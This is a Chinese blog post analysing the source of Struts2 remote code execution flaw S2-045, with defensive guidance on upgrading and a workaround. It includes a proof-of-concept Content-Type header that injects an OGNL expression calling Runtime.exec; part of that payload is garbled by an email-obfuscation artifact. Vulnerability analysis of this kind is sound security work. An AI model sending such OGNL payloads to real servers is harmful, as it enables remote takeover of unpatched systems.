Struts2远程命令执行漏洞 S2-045 源码分析

Struts2 又爆OGNL的高危漏洞S-045,又是OGNL的漏洞

漏洞分析

1. Struts 的上传request

在上传文件里,Struts默认使用的是common upload 的上传组件, 为了能被action访问到上传的文件,通常会重新封装request,  Spring也是这么做。

JakartaStreamMultiPartRequest.java中

 public void parse(HttpServletRequest request, String saveDir)
            throws IOException {
        try {
            setLocale(request);
            processUpload(request, saveDir);
        } catch (Exception e) {
            e.printStackTrace();
            String errorMessage = buildErrorMessage(e, new Object[]{});
            if (!errors.contains(errorMessage))
                errors.add(errorMessage);
        }
    }

当解析上传协议抛出异常的时候,struts 会去尝试去构建错误信息

    
protected String buildErrorMessage(Throwable e, Object[] args) {
        String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
        if (LOG.isDebugEnabled()) {
            LOG.debug("Preparing error message for key: [#0]", errorKey);
        }
        return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
    }

为了保证错误信息可以支持多语言,在构建上传错误的时候,使用了localizedTextUtil,

1. 使用struts.messages.upload.error. classname 作为资源的文件的key

2. 直接使用了异常的message 作为查找的默认message

    public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args,
                                  ValueStack valueStack) {
        String indexedTextName = null;
  ......
        // get default
        GetDefaultMessageReturnArg result;
        if (indexedTextName == null) {
            result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
        } else {
            result = getDefaultMessage(aTextName, locale, valueStack, args, null);
            if (result != null && result.message != null) {
                return result.message;
            }
            result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
        }

        // could we find the text, if not log a warn
        if (unableToFindTextForKey(result) && LOG.isDebugEnabled()) {
            String warn = "Unable to find text for key '" + aTextName + "' ";
            if (indexedTextName != null) {
                warn += " or indexed key '" + indexedTextName + "' ";
            }
            warn += "in class '" + aClass.getName() + "' and locale '" + locale + "'";
            LOG.debug(warn);
        }

        return result != null ? result.message : null;
    }

struts 尝试从default message里获取内容

/**
     * Gets the default message.
     */
    private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
                                                                String defaultMessage) {
        GetDefaultMessageReturnArg result = null;
        boolean found = true;

        if (key != null) {
            String message = findDefaultText(key, locale);

            if (message == null) {
                message = defaultMessage;
                found = false; // not found in bundles
            }

            // defaultMessage may be null
            if (message != null) {
                MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

                String msg = formatWithNullDetection(mf, args);
                result = new GetDefaultMessageReturnArg(msg, found);
            }
        }

        return result;
    }

传入的key无法在资源文件中找到的时候,会直接使用默认的message 也就是刚才的异常的信息作为返回的信息,但是在将message格式化的时候,struts定义的message 使用了TextParseUtil.translateVariables 转化message里的参数,熟悉OGNL的人都知道, TextParseUtil.translateVariables 是支持OGNL的

TextParseUtil.translateVariables

可以执行在message体中的${ognl}或者%{ognl}OGNL表达式格式

2. Common Upload file 的处理

既然在Struts里是可以直接执行异常里的错误信息,那么在common upload file 组件的异常里我们看看哪些是会把客户端传递的值作为错误信息返回

很幸运,我们在FileUploadBase.java中,发现了一个方法

FileItemIteratorImpl(RequestContext ctx)
                throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx parameter");
            }

            String contentType = ctx.getContentType();
            if ((null == contentType)
                    || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
                throw new InvalidContentTypeException(
                        format("the request doesn't contain a %s or %s stream, content type header is %s",
                               MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
            }

当content type不是以multipart/为头的时候,就会抛出异常,并且直接将客户端输入的信息,作为异常信息返回


3.各自的content-type校验

Struts 在dispatch 里在封装request的时候做了一次content-type校验

    public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
        // don't wrap more than once
        if (request instanceof StrutsRequestWrapper) {
            return request;
        }

        String content_type = request.getContentType();
        if (content_type != null && content_type.contains("multipart/form-data")) {
            MultiPartRequest mpr = getMultiPartRequest();
            LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
            request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
        } else {
            request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
        }

        return request;
    }

结果 竟然是contains, 而在upload file里做的校验是以multipart/为头,真不知道struts 为何在做标准协议解析的时候如此随便?

构造我们的poc

a. 显然是content-type入手

b. 构造 test multipart/form-data 绕过struts的dispatch的防御

c.  继续添加常见的OGNL的表达式 

%{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

完整的POC 

content-type:test multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundary=AaB03x

防御

1. 升级struts 

Struts 禁止了异常的信息可执行OGNL表达式,在2.3.32版本中

 if (LocalizedTextUtil.findText(this.getClass(), errorKey, getLocale(), null, new Object[0]) == null) {
            return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() });
        } else {
            return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
        }
异常信息只是作为参数传递显示了


2. 临时解决方案

在资源文件中配置,让struts能从资源文件中获取到值

struts.messages.upload.error.InvalidContentTypeException=exception 

注意:这里要仔细检查common upload的代码,或者自己封装的MultiPartRequest,如果还有直接输出客户端的输入的时候,需要写全

struts.messages.upload.error.*



你可能感兴趣的:(struts2,Ognl,远程执行命令,S2-045)